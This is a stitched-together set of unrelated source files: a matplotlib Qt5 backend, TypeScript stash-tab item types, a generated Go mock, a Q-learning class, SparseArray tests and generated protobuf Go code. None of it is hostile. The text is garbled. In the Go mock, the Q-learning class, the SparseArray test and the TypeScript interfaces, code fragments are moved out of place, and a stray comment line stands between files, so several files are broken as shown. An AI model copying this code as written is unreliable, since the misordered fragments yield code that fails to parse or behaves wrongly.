keys # bit twiddling to pick out modifier keys from event_mods bitmask, # if event_key is a MODIFIER, it should not be duplicated in mods mods = [name for name, mod_key, qt_key in MODIFIER_KEYS if event_key != qt_key and (event_mods & mod_key) == mod_key] try: # for certain keys (enter, left, backspace, etc) use a word for the # key, rather than unicode key = SPECIAL_KEYS[event_key] except KeyError: # unicode defines code points up to 0x0010ffff # QT will use Key_Codes larger than that for keyboard keys that are # are not unicode characters (like multimedia keys) # skip these # if you really want them, you should add them to SPECIAL_KEYS MAX_UNICODE = 0x10ffff if event_key > MAX_UNICODE: return None key = unichr(event_key) # qt delivers capitalized letters. fix capitalization # note that capslock is ignored if 'shift' in mods: mods.remove('shift') else: key = key.lower() mods.reverse() return '+'.join(mods + [key]) def new_timer(self, *args, **kwargs): """ Creates a new backend-specific subclass of :class:`backend_bases.Timer`. This is useful for getting periodic events through the backend's native event loop. Implemented only for backends with GUIs. Other Parameters ---------------- interval : scalar Timer interval in milliseconds callbacks : list Sequence of (func, args, kwargs) where ``func(*args, **kwargs)`` will be executed by the timer every *interval*. """ return TimerQT(*args, **kwargs) def flush_events(self): qApp.processEvents() def start_event_loop(self, timeout=0): if hasattr(self, "_event_loop") and self._event_loop.isRunning(): raise RuntimeError("Event loop already running") self._event_loop = event_loop = QtCore.QEventLoop() if timeout: timer = QtCore.QTimer.singleShot(timeout * 1000, event_loop.quit) event_loop.exec_() def stop_event_loop(self, event=None): if hasattr(self, "_event_loop"): self._event_loop.quit() def draw(self): """Render the figure, and queue a request for a Qt draw. """ # The renderer draw is done here; delaying causes problems with code # that uses the result of the draw() to update plot elements. if self._is_drawing: return self._is_drawing = True try: super(FigureCanvasQT, self).draw() finally: self._is_drawing = False self.update() def draw_idle(self): """Queue redraw of the Agg buffer and request Qt paintEvent. """ # The Agg draw needs to be handled by the same thread matplotlib # modifies the scene graph from. Post Agg draw request to the # current event loop in order to ensure thread affinity and to # accumulate multiple draw requests from event handling. # TODO: queued signal connection might be safer than singleShot if not (self._draw_pending or self._is_drawing): self._draw_pending = True QtCore.QTimer.singleShot(0, self._draw_idle) def _draw_idle(self): if self.height() < 0 or self.width() < 0: self._draw_pending = False if not self._draw_pending: return try: self.draw() except Exception: # Uncaught exceptions are fatal for PyQt5, so catch them instead. traceback.print_exc() finally: self._draw_pending = False def drawRectangle(self, rect): # Draw the zoom rectangle to the QPainter. _draw_rect_callback needs # to be called at the end of paintEvent. if rect is not None: def _draw_rect_callback(painter): pen = QtGui.QPen(QtCore.Qt.black, 1 / self._dpi_ratio, QtCore.Qt.DotLine) painter.setPen(pen) painter.drawRect(*(pt / self._dpi_ratio for pt in rect)) else: def _draw_rect_callback(painter): return self._draw_rect_callback = _draw_rect_callback self.update() class MainWindow(QtWidgets.QMainWindow): closing = QtCore.Signal() def closeEvent(self, event): self.closing.emit() QtWidgets.QMainWindow.closeEvent(self, event) class FigureManagerQT(FigureManagerBase): """ Attributes ---------- canvas : `FigureCanvas` The FigureCanvas instance num : int or str The Figure number toolbar : qt.QToolBar The qt.QToolBar window : qt.QMainWindow The qt.QMainWindow """ def __init__(self, canvas, num): FigureManagerBase.__init__(self, canvas, num) self.canvas = canvas self.window = MainWindow() self.window.closing.connect(canvas.close_event) self.window.closing.connect(self._widgetclosed) self.window.setWindowTitle("Figure %d" % num) image = os.path.join(matplotlib.rcParams['datapath'], 'images', 'matplotlib.svg') self.window.setWindowIcon(QtGui.QIcon(image)) # Give the keyboard focus to the figure instead of the # manager; StrongFocus accepts both tab and click to focus and # will enable the canvas to process event w/o clicking. # ClickFocus only takes the focus is the window has been # clicked # on. http://qt-project.org/doc/qt-4.8/qt.html#FocusPolicy-enum or # http://doc.qt.digia.com/qt/qt.html#FocusPolicy-enum self.canvas.setFocusPolicy(QtCore.Qt.StrongFocus) self.canvas.setFocus() self.window._destroying = False self.toolmanager = self._get_toolmanager() self.toolbar = self._get_toolbar(self.canvas, self.window) self.statusbar = None if self.toolmanager: backend_tools.add_tools_to_manager(self.toolmanager) if self.toolbar: backend_tools.add_tools_to_container(self.toolbar) self.statusbar = StatusbarQt(self.window, self.toolmanager) if self.toolbar is not None: self.window.addToolBar(self.toolbar) if not self.toolmanager: # add text label to status bar statusbar_label = QtWidgets.QLabel() self.window.statusBar().addWidget(statusbar_label) self.toolbar.message.connect(statusbar_label.setText) tbs_height = self.toolbar.sizeHint().height() else: tbs_height = 0 # resize the main window so it will display the canvas with the # requested size: cs = canvas.sizeHint() sbs = self.window.statusBar().sizeHint() self._status_and_tool_height = tbs_height + sbs.height() height = cs.height() + self._status_and_tool_height self.window.resize(cs.width(), height) self.window.setCentralWidget(self.canvas) if matplotlib.is_interactive(): self.window.show() self.canvas.draw_idle() def notify_axes_change(fig): # This will be called whenever the current axes is changed if self.toolbar is not None: self.toolbar.update() self.canvas.figure.add_axobserver(notify_axes_change) self.window.raise_() def full_screen_toggle(self): if self.window.isFullScreen(): self.window.showNormal() else: self.window.showFullScreen() def _widgetclosed(self): if self.window._destroying: return self.window._destroying = True try: Gcf.destroy(self.num) except AttributeError: pass # It seems that when the python session is killed, # Gcf can get destroyed before the Gcf.destroy # line is run, leading to a useless AttributeError. def _get_toolbar(self, canvas, parent): # must be inited after the window, drawingArea and figure # attrs are set if matplotlib.rcParams['toolbar'] == 'toolbar2': toolbar = NavigationToolbar2QT(canvas, parent, False) elif matplotlib.rcParams['toolbar'] == 'toolmanager': toolbar = ToolbarQt(self.toolmanager, self.window) else: toolbar = None return toolbar def _get_toolmanager(self): if matplotlib.rcParams['toolbar'] == 'toolmanager': toolmanager = ToolManager(self.canvas.figure) else: toolmanager = None return toolmanager def resize(self, width, height): 'set the canvas size in pixels' self.window.resize(width, height + self._status_and_tool_height) def show(self): self.window.show() self.window.activateWindow() self.window.raise_() def destroy(self, *args): # check for qApp first, as PySide deletes it in its atexit handler if QtWidgets.QApplication.instance() is None: return if self.window._destroying: return self.window._destroying = True if self.toolbar: self.toolbar.destroy() self.window.close() def get_window_title(self): return six.text_type(self.window.windowTitle()) def set_window_title(self, title): self.window.setWindowTitle(title) class NavigationToolbar2QT(NavigationToolbar2, QtWidgets.QToolBar): message = QtCore.Signal(str) def __init__(self, canvas, parent, coordinates=True): """ coordinates: should we show the coordinates on the right? """ self.canvas = canvas self.parent = parent self.coordinates = coordinates self._actions = {} """A mapping of toolitem method names to their QActions""" QtWidgets.QToolBar.__init__(self, parent) NavigationToolbar2.__init__(self, canvas) def _icon(self, name): if is_pyqt5(): name = name.replace('.png', '_large.png') pm = QtGui.QPixmap(os.path.join(self.basedir, name)) if hasattr(pm, 'setDevicePixelRatio'): pm.setDevicePixelRatio(self.canvas._dpi_ratio) return QtGui.QIcon(pm) def _init_toolbar(self): self.basedir = os.path.join(matplotlib.rcParams['datapath'], 'images') for text, tooltip_text, image_file, callback in self.toolitems: if text is None: self.addSeparator() else: a = self.addAction(self._icon(image_file + '.png'), text, getattr(self, callback)) self._actions[callback] = a if callback in ['zoom', 'pan']: a.setCheckable(True) if tooltip_text is not None: a.setToolTip(tooltip_text) if text == 'Subplots': a = self.addAction(self._icon("qt4_editor_options.png"), 'Customize', self.edit_parameters) a.setToolTip('Edit axis, curve and image parameters') self.buttons = {} # Add the x,y location widget at the right side of the toolbar # The stretch factor is 1 which means any resizing of the toolbar # will resize this label instead of the buttons. if self.coordinates: self.locLabel = QtWidgets.QLabel("", self) self.locLabel.setAlignment( QtCore.Qt.AlignRight | QtCore.Qt.AlignTop) self.locLabel.setSizePolicy( QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Ignored)) labelAction = self.addWidget(self.locLabel) labelAction.setVisible(True) # reference holder for subplots_adjust window self.adj_window = None # Esthetic adjustments - we need to set these explicitly in PyQt5 # otherwise the layout looks different - but we don't want to set it if # not using HiDPI icons otherwise they look worse than before. if is_pyqt5(): self.setIconSize(QtCore.QSize(24, 24)) self.layout().setSpacing(12) if is_pyqt5(): # For some reason, self.setMinimumHeight doesn't seem to carry over to # the actual sizeHint, so override it instead in order to make the # aesthetic adjustments noted above. def sizeHint(self): size = super(NavigationToolbar2QT, self).sizeHint() size.setHeight(max(48, size.height())) return size def edit_parameters(self): allaxes = self.canvas.figure.get_axes() if not allaxes: QtWidgets.QMessageBox.warning( self.parent, "Error", "There are no axes to edit.") return elif len(allaxes) == 1: axes, = allaxes else: titles = [] for axes in allaxes: name = (axes.get_title() or " - ".join(filter(None, [axes.get_xlabel(), axes.get_ylabel()])) or "<anonymous {} (id: {:#x})>".format( type(axes).__name__, id(axes))) titles.append(name) item, ok = QtWidgets.QInputDialog.getItem( self.parent, 'Customize', 'Select axes:', titles, 0, False) if ok: axes = allaxes[titles.index(six.text_type(item))] else: return figureoptions.figure_edit(axes, self) def _update_buttons_checked(self): # sync button checkstates to match active mode self._actions['pan'].setChecked(self._active == 'PAN') self._actions['zoom'].setChecked(self._active == 'ZOOM') def pan(self, *args): super(NavigationToolbar2QT, self).pan(*args) self._update_buttons_checked() def zoom(self, *args): super(NavigationToolbar2QT, self).zoom(*args) self._update_buttons_checked() def set_message(self, s): self.message.emit(s) if self.coordinates: self.locLabel.setText(s) def set_cursor(self, cursor): self.canvas.setCursor(cursord[cursor]) def draw_rubberband(self, event, x0, y0, x1, y1): height = self.canvas.figure.bbox.height y1 = height - y1 y0 = height - y0 rect = [int(val) for val in (x0, y0, x1 - x0, y1 - y0)] self.canvas.drawRectangle(rect) def remove_rubberband(self): self.canvas.drawRectangle(None) def configure_subplots(self): image = os.path.join(matplotlib.rcParams['datapath'], 'images', 'matplotlib.png') dia = SubplotToolQt(self.canvas.figure, self.parent) dia.setWindowIcon(QtGui.QIcon(image)) dia.exec_() def save_figure(self, *args): filetypes = self.canvas.get_supported_filetypes_grouped() sorted_filetypes = sorted(six.iteritems(filetypes)) default_filetype = self.canvas.get_default_filetype() startpath = os.path.expanduser( matplotlib.rcParams['savefig.directory']) start = os.path.join(startpath, self.canvas.get_default_filename()) filters = [] selectedFilter = None for name, exts in sorted_filetypes: exts_list = " ".join(['*.%s' % ext for ext in exts]) filter = '%s (%s)' % (name, exts_list) if default_filetype in exts: selectedFilter = filter filters.append(filter) filters = ';;'.join(filters) fname, filter = _getSaveFileName(self.parent, "Choose a filename to save to", start, filters, selectedFilter) if fname: # Save dir for next time, unless empty str (i.e., use cwd). if startpath != "": matplotlib.rcParams['savefig.directory'] = ( os.path.dirname(six.text_type(fname))) try: self.canvas.figure.savefig(six.text_type(fname)) except Exception as e: QtWidgets.QMessageBox.critical( self, "Error saving file", six.text_type(e), QtWidgets.QMessageBox.Ok, QtWidgets.QMessageBox.NoButton) class SubplotToolQt(UiSubplotTool): def __init__(self, targetfig, parent): UiSubplotTool.__init__(self, None) self._figure = targetfig for lower, higher in [("bottom", "top"), ("left", "right")]: self._widgets[lower].valueChanged.connect( lambda val: self._widgets[higher].setMinimum(val + .001)) self._widgets[higher].valueChanged.connect( lambda val: self._widgets[lower].setMaximum(val - .001)) self._attrs = ["top", "bottom", "left", "right", "hspace", "wspace"] self._defaults = {attr: vars(self._figure.subplotpars)[attr] for attr in self._attrs} # Set values after setting the range callbacks, but before setting up # the redraw callbacks. self._reset() for attr in self._attrs: self._widgets[attr].valueChanged.connect(self._on_value_changed) for action, method in [("Export values", self._export_values), ("Tight layout", self._tight_layout), ("Reset", self._reset), ("Close", self.close)]: self._widgets[action].clicked.connect(method) def _export_values(self): # Explicitly round to 3 decimals (which is also the spinbox precision) # to avoid numbers of the form 0.100...001. dialog = QtWidgets.QDialog() layout = QtWidgets.QVBoxLayout() dialog.setLayout(layout) text = QtWidgets.QPlainTextEdit() text.setReadOnly(True) layout.addWidget(text) text.setPlainText( ",\n".join("{}={:.3}".format(attr, self._widgets[attr].value()) for attr in self._attrs)) # Adjust the height of the text widget to fit the whole text, plus # some padding. size = text.maximumSize() size.setHeight( QtGui.QFontMetrics(text.document().defaultFont()) .size(0, text.toPlainText()).height() + 20) text.setMaximumSize(size) dialog.exec_() def _on_value_changed(self): self._figure.subplots_adjust(**{attr: self._widgets[attr].value() for attr in self._attrs}) self._figure.canvas.draw_idle() def _tight_layout(self): self._figure.tight_layout() for attr in self._attrs: widget = self._widgets[attr] widget.blockSignals(True) widget.setValue(vars(self._figure.subplotpars)[attr]) widget.blockSignals(False) self._figure.canvas.draw_idle() def _reset(self): for attr, value in self._defaults.items(): self._widgets[attr].setValue(value) class ToolbarQt(ToolContainerBase, QtWidgets.QToolBar): def __init__(self, toolmanager, parent): ToolContainerBase.__init__(self, toolmanager) QtWidgets.QToolBar.__init__(self, parent) self._toolitems = {} self._groups = {} self._last = None @property def _icon_extension(self): if is_pyqt5(): return '_large.png' return '.png' def add_toolitem( self, name, group, position, image_file, description, toggle): button = QtWidgets.QToolButton(self) button.setIcon(self._icon(image_file)) button.setText(name) if description: button.setToolTip(description) def handler(): self.trigger_tool(name) if toggle: button.setCheckable(True) button.toggled.connect(handler) else: button.clicked.connect(handler) self._last = button self._toolitems.setdefault(name, []) self._add_to_group(group, name, button, position) self._toolitems[name].append((button, handler)) def _add_to_group(self, group, name, button, position): gr = self._groups.get(group, []) if not gr: sep = self.addSeparator() gr.append(sep) before = gr[position] widget = self.insertWidget(before, button) gr.insert(position, widget) self._groups[group] = gr def _icon(self, name): pm = QtGui.QPixmap(name) if hasattr(pm, 'setDevicePixelRatio'): pm.setDevicePixelRatio(self.toolmanager.canvas._dpi_ratio) return QtGui.QIcon(pm) def toggle_toolitem(self, name, toggled): if name not in self._toolitems: return for button, handler in self._toolitems[name]: button.toggled.disconnect(handler) button.setChecked(toggled) button.toggled.connect(handler) def remove_toolitem(self, name): for button, handler in self._toolitems[name]: button.setParent(None) del self._toolitems[name] class StatusbarQt(StatusbarBase, QtWidgets.QLabel): def __init__(self, window, *args, **kwargs): StatusbarBase.__init__(self, *args, **kwargs) QtWidgets.QLabel.__init__(self) window.statusBar().addWidget(self) def set_message(self, s): self.setText(s) class ConfigureSubplotsQt(backend_tools.ConfigureSubplotsBase): def trigger(self, *args): image = os.path.join(matplotlib.rcParams['datapath'], 'images', 'matplotlib.png') parent = self.canvas.manager.window dia = SubplotToolQt(self.figure, parent) dia.setWindowIcon(QtGui.QIcon(image)) dia.exec_() class SaveFigureQt(backend_tools.SaveFigureBase): def trigger(self, *args): filetypes = self.canvas.get_supported_filetypes_grouped() sorted_filetypes = sorted(six.iteritems(filetypes)) default_filetype = self.canvas.get_default_filetype() startpath = os.path.expanduser( matplotlib.rcParams['savefig.directory']) start = os.path.join(startpath, self.canvas.get_default_filename()) filters = [] selectedFilter = None for name, exts in sorted_filetypes: exts_list = " ".join(['*.%s' % ext for ext in exts]) filter = '%s (%s)' % (name, exts_list) if default_filetype in exts: selectedFilter = filter filters.append(filter) filters = ';;'.join(filters) parent = self.canvas.manager.window fname, filter = _getSaveFileName(parent, "Choose a filename to save to", start, filters, selectedFilter) if fname: # Save dir for next time, unless empty str (i.e., use cwd). if startpath != "": matplotlib.rcParams['savefig.directory'] = ( os.path.dirname(six.text_type(fname))) try: self.canvas.figure.savefig(six.text_type(fname)) except Exception as e: QtWidgets.QMessageBox.critical( self, "Error saving file", six.text_type(e), QtWidgets.QMessageBox.Ok, QtWidgets.QMessageBox.NoButton) class SetCursorQt(backend_tools.SetCursorBase): def set_cursor(self, cursor): self.canvas.setCursor(cursord[cursor]) class RubberbandQt(backend_tools.RubberbandBase): def draw_rubberband(self, x0, y0, x1, y1): height = self.canvas.figure.bbox.height y1 = height - y1 y0 = height - y0 rect = [int(val) for val in (x0, y0, x1 - x0, y1 - y0)] self.canvas.drawRectangle(rect) def remove_rubberband(self): self.canvas.drawRectangle(None) backend_tools.ToolSaveFigure = SaveFigureQt backend_tools.ToolConfigureSubplots = ConfigureSubplotsQt backend_tools.ToolSetCursor = SetCursorQt backend_tools.ToolRubberband = RubberbandQt def error_msg_qt(msg, parent=None): if not isinstance(msg, six.string_types): msg = ','.join(map(str, msg)) QtWidgets.QMessageBox.warning(None, "Matplotlib", msg, QtGui.QMessageBox.Ok) def exception_handler(type, value, tb): """Handle uncaught exceptions It does not catch SystemExit """ msg = '' # get the filename attribute if available (for IOError) if hasattr(value, 'filename') and value.filename is not None: msg = value.filename + ': ' if hasattr(value, 'strerror') and value.strerror is not None: msg += value.strerror else: msg += six.text_type(value) if len(msg): error_msg_qt(msg) @_Backend.export class _BackendQT5(_Backend): FigureCanvas = FigureCanvasQT FigureManager = FigureManagerQT @staticmethod def trigger_manager_draw(manager): manager.canvas.draw_idle() @staticmethod def mainloop(): # allow KeyboardInterrupt exceptions to close the plot window. signal.signal(signal.SIGINT, signal.SIG_DFL) qApp.exec_()
# the issue is that we can't guarantee this will be emitted *before*
stash-tab.ts
export interface StashTab { numTabs?: number; tabs?: Tab[]; items?: Item[]; currencyLayout?: CurrencyLayout[]; quadLayout?: Boolean; currentTab?: Tab; } export interface CurrencyLayout{ h: number; w: number; x: number; y: number; } export interface Tab { color: { b: number; g: number; r: number; } i: number; id: string; n: string; selected: Boolean; srcC: string; srcL: string; srcR: string; type: string; } export interface Item { fractured: boolean; descrText?: string; explicitMods?: string[]; flavourText?: string[]; frameType?: number; h?: number; icon?: string; id?: string; identified?: boolean; ilvl?: number; implicitMods?: string[]; inventoryId?: string; league?: string; name?: string; properties?: ItemProperty[]; additionalProperties?: ItemProperty[]; requirements: ItemRequirement[]; socketedItems: any[]; sockets: [{group: 0, attr: "D", sColour: "G"}]; typeLine?: string; verified?: boolean; synthesised?: boolean; secDescrText?: string; corrupted?: boolean; hybrid?: HybridDetail; utilityMods?: string[]; enchantMods?: string[]; w?: number; x?: number; y?: number; } export interface ItemProperty { displayMode?: number; name?: string; type?: number; values?: any[]; progress?: number; } export interface ItemRequirement { name?: string; values?: any[]; displayMode?: number; } export interface ItemSocket { attr?: string;
export interface HybridDetail { isVaalGem?: boolean; baseTypeName: string; properties?: ItemProperty[]; explicitMods?: string[]; utilityMods?: string[]; enchantMods?: string[]; implicitMods?: string[]; secDescrText?: string; }
group?: number; sColour?: string; }
mock_cache.go
// Automatically generated by MockGen. DO NOT EDIT! // Source: httpcache (interfaces: Cacheable) package mock_httpcache import ( gomock "github.com/golang/mock/gomock" ) // Mock of Cacheable interface type MockCacheable struct { ctrl *gomock.Controller recorder *_MockCacheableRecorder } // Recorder for MockCacheable (not exported) type _MockCacheableRecorder struct { mock *MockCacheable } func NewMockCacheable(ctrl *gomock.Controller) *MockCacheable
func (_m *MockCacheable) EXPECT() *_MockCacheableRecorder { return _m.recorder } func (_m *MockCacheable) Key() string { ret := _m.ctrl.Call(_m, "Key") ret0, _ := ret[0].(string) return ret0 } func (_mr *_MockCacheableRecorder) Key() *gomock.Call { return _mr.mock.ctrl.RecordCall(_mr.mock, "Key") } func (_m *MockCacheable) Size() int { ret := _m.ctrl.Call(_m, "Size") ret0, _ := ret[0].(int) return ret0 } func (_mr *_MockCacheableRecorder) Size() *gomock.Call { return _mr.mock.ctrl.RecordCall(_mr.mock, "Size") }
{ mock := &MockCacheable{ctrl: ctrl} mock.recorder = &_MockCacheableRecorder{mock} return mock }
repeated_update_q_learning.py
import numpy as np class RepeatedUpdateQLearningAlgorithm(): ''' Repeated Update Q Learning (RUQL) as introduced in: "Addressing the Policy Bias of Q-Learning by Repeating Updates" - Sherief Abdallah, Michael Kaisers ''' def __init__(self, state_space_size, action_space_size, hashing_function, discount_factor, learning_rate, temperature):
def update_q_table(self, s, a, r, succ_s): s, succ_s = self.hashing_function(s), self.hashing_function(succ_s) probability_taking_action_a = self.boltzman_exploratory_policy_from_state(s)[a] x = (1 - self.learning_rate)**(1 / probability_taking_action_a) self.Q_table[s, a] = x * self.Q_table[s, a] + (1 - x) * (r + self.discount_factor * max(self.Q_table[succ_s, :])) def boltzman_exploratory_policy_from_state(self, s): exp_q_values = np.exp([self.Q_table[s, i] / self.temperature for i in range(self.Q_table.shape[1])]) normalizing_constant = sum(exp_q_values) return np.divide(exp_q_values, normalizing_constant) def find_moves(self, state, exploration): state = self.hashing_function(state) if exploration: p = self.boltzman_exploratory_policy_from_state(state) return np.random.choice(range(self.Q_table.shape[1]), p=p) else: optimal_moves = np.argwhere(self.Q_table[state, :] == np.amax(self.Q_table[state, :])) return np.random.choice(optimal_moves.flatten().tolist())
self.Q_table = np.zeros((state_space_size, action_space_size), dtype=np.float64) self.learning_rate = learning_rate self.hashing_function = hashing_function self.temperature = temperature self.discount_factor = discount_factor
test_data.py
"""Tests for :py:mod:`katsdpdisp.data`.""" import numpy as np from numpy.testing import assert_array_equal from katsdpdisp.data import SparseArray def test_sparsearray(fullslots=100,fullbls=10,fullchan=5,nslots=10,maxbaselines=6,islot_new_bls=6): """Simulates the assignment and retrieval of data as it happens in the signal displays when it receives different sets of baseline data at different timestamps, with some time continuity. (fullslots,fullbls,fullchan) is the dimensions of the full/complete dataset (nslots,maxbaselines,fullchan) is the true size of the sparse array, representing a size of (nslots,fullbls,fullchan) where maxbaselines<fullbls islot_new_bls is the number of time stamps that passes before there is a new baseline product selected/chosen in the test sequence""" mx=SparseArray(nslots,fullbls,fullchan,maxbaselines,dtype=np.int32) rs = np.random.RandomState(seed=0) fulldata=rs.random_integers(0,10,[fullslots,fullbls,fullchan]) histbaselines=[] for it in range(fullslots): if it%islot_new_bls==0:#add a new baseline, remove old, every so often while True: newbaseline=rs.random_integers(0,fullbls-1,[1]) if len(histbaselines)==0 or (newbaseline not in histbaselines[-1]): break if (len(histbaselines)==0): newbaselines=np.r_[newbaseline] elif (len(histbaselines[-1])<islot_new_bls): newbaselines=np.r_[histbaselines[-1],newbaseline] else:
histbaselines.append(newbaselines) mx[it%nslots,histbaselines[-1],:]=fulldata[it,histbaselines[-1],:] for cit in range(islot_new_bls): if (cit>=len(histbaselines)): break hasthesebaselines=list(set(histbaselines[-1-cit]) & set(histbaselines[-1])) missingbaselines=list(set(histbaselines[-1-cit]) - set(histbaselines[-1])) retrieved=mx[(it-cit)%nslots,hasthesebaselines,:] assert_array_equal(retrieved, fulldata[it-cit,hasthesebaselines,:], 'SparseArray getitem test failed') missingretrieved=mx[(it-cit)%nslots,missingbaselines,:] assert_array_equal(missingretrieved,np.zeros(missingretrieved.shape,dtype=np.int32), 'SparseArray missing baseline test failed') def test_sparsearray_indexing(fullslots=100,fullbls=10,fullchan=5,nslots=10,maxbaselines=6): mx=SparseArray(nslots,fullbls,fullchan,maxbaselines,dtype=np.int32) rs = np.random.RandomState(seed=0) fulldata=rs.random_integers(0,10,[fullslots,fullbls,fullchan]) mx[0,0,0]=fulldata[0,0,0] assert_array_equal(mx[0,0,0], fulldata[0,0,0], 'SparseArray [scalar,scalar,scalar] index test failed') mx[1,1,:]=fulldata[1,1,:] assert_array_equal(mx[1,1,:], fulldata[1,1,:], 'SparseArray [scalar,scalar,slice] index test 2 failed') #baseline change so previous assignment purged (in future may retain until running out of memory and necessary to purge) mx[2,1,:]=fulldata[2,1,:] assert_array_equal(mx[1:3,1,:], fulldata[1:3,1,:], 'SparseArray retain old value test failed') #assign to same baseline so previous slot value remain mx[3,:maxbaselines,0]=fulldata[3,:maxbaselines,0] assert_array_equal(mx[3,:maxbaselines,0], fulldata[3,:maxbaselines,0], 'SparseArray [scalar,slice,scalar] index test failed') mx[:,1,3]=fulldata[:nslots,1,3] assert_array_equal(mx[:,1,3], fulldata[:nslots,1,3], 'SparseArray [slice,scalar,scalar] index test failed') mx[:,1,:]=fulldata[:nslots,1,:] assert_array_equal(mx[:,1,:], fulldata[:nslots,1,:], 'SparseArray [slice,scalar,slice] index test failed') mx[:,1:maxbaselines,:]=fulldata[2:nslots+2,1:maxbaselines,:] assert_array_equal(mx[:,1:maxbaselines,:], fulldata[2:nslots+2,1:maxbaselines,:], 'SparseArray [slice,slice,slice] index test failed')
newbaselines=np.r_[histbaselines[-1][1:],newbaseline]
simple.pb.go
// Copyright 2020 Google LLC // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Code generated by protoc-gen-go. DO NOT EDIT. // versions: // protoc-gen-go v1.27.1 // protoc v3.17.3 // source: google/actions/sdk/v2/conversation/prompt/simple.proto package conversation import ( reflect "reflect" sync "sync" protoreflect "google.golang.org/protobuf/reflect/protoreflect" protoimpl "google.golang.org/protobuf/runtime/protoimpl" ) const ( // Verify that this generated code is sufficiently up-to-date. _ = protoimpl.EnforceVersion(20 - protoimpl.MinVersion) // Verify that runtime/protoimpl is sufficiently up-to-date. _ = protoimpl.EnforceVersion(protoimpl.MaxVersion - 20) ) // Represents a simple prompt to be send to a user. type Simple struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // Optional. Represents the speech to be spoken to the user. Can be SSML or // text to speech. // If the "override" field in the containing prompt is "true", the speech // defined in this field replaces the previous Simple prompt's speech. Speech string `protobuf:"bytes,1,opt,name=speech,proto3" json:"speech,omitempty"` // Optional text to display in the chat bubble. If not given, a display // rendering of the speech field above will be used. Limited to 640 // chars. // If the "override" field in the containing prompt is "true", the text // defined in this field replaces to the previous Simple prompt's text. Text string `protobuf:"bytes,2,opt,name=text,proto3" json:"text,omitempty"` } func (x *Simple) Reset() { *x = Simple{} if protoimpl.UnsafeEnabled { mi := &file_google_actions_sdk_v2_conversation_prompt_simple_proto_msgTypes[0] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *Simple) String() string { return protoimpl.X.MessageStringOf(x) } func (*Simple) ProtoMessage() {} func (x *Simple) ProtoReflect() protoreflect.Message { mi := &file_google_actions_sdk_v2_conversation_prompt_simple_proto_msgTypes[0] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use Simple.ProtoReflect.Descriptor instead. func (*Simple) Descriptor() ([]byte, []int) { return file_google_actions_sdk_v2_conversation_prompt_simple_proto_rawDescGZIP(), []int{0} } func (x *Simple) GetSpeech() string { if x != nil { return x.Speech } return "" } func (x *Simple) GetText() string { if x != nil { return x.Text } return "" } var File_google_actions_sdk_v2_conversation_prompt_simple_proto protoreflect.FileDescriptor var file_google_actions_sdk_v2_conversation_prompt_simple_proto_rawDesc = []byte{ 0x0a, 0x36, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2f, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x73, 0x64, 0x6b, 0x2f, 0x76, 0x32, 0x2f, 0x63, 0x6f, 0x6e, 0x76, 0x65, 0x72, 0x73, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x70, 0x72, 0x6f, 0x6d, 0x70, 0x74, 0x2f, 0x73, 0x69, 0x6d, 0x70, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x12, 0x22, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2e, 0x73, 0x64, 0x6b, 0x2e, 0x76, 0x32, 0x2e, 0x63, 0x6f, 0x6e, 0x76, 0x65, 0x72, 0x73, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0x34, 0x0a, 0x06, 0x53, 0x69, 0x6d, 0x70, 0x6c, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x73, 0x70, 0x65, 0x65, 0x63, 0x68, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x73, 0x70, 0x65, 0x65, 0x63, 0x68, 0x12, 0x12, 0x0a, 0x04, 0x74, 0x65, 0x78, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x74, 0x65, 0x78, 0x74, 0x42, 0x87, 0x01, 0x0a, 0x26, 0x63, 0x6f, 0x6d, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2e, 0x73, 0x64, 0x6b, 0x2e, 0x76, 0x32, 0x2e, 0x63, 0x6f, 0x6e, 0x76, 0x65, 0x72, 0x73, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x42, 0x0b, 0x53, 0x69, 0x6d, 0x70, 0x6c, 0x65, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x50, 0x01, 0x5a, 0x4e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x67, 0x6f, 0x6c, 0x61, 0x6e, 0x67, 0x2e, 0x6f, 0x72, 0x67, 0x2f, 0x67, 0x65, 0x6e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x2f, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x61, 0x70, 0x69, 0x73, 0x2f, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x73, 0x64, 0x6b, 0x2f, 0x76, 0x32, 0x2f, 0x63, 0x6f, 0x6e, 0x76, 0x65, 0x72, 0x73, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x3b, 0x63, 0x6f, 0x6e, 0x76, 0x65, 0x72, 0x73, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var ( 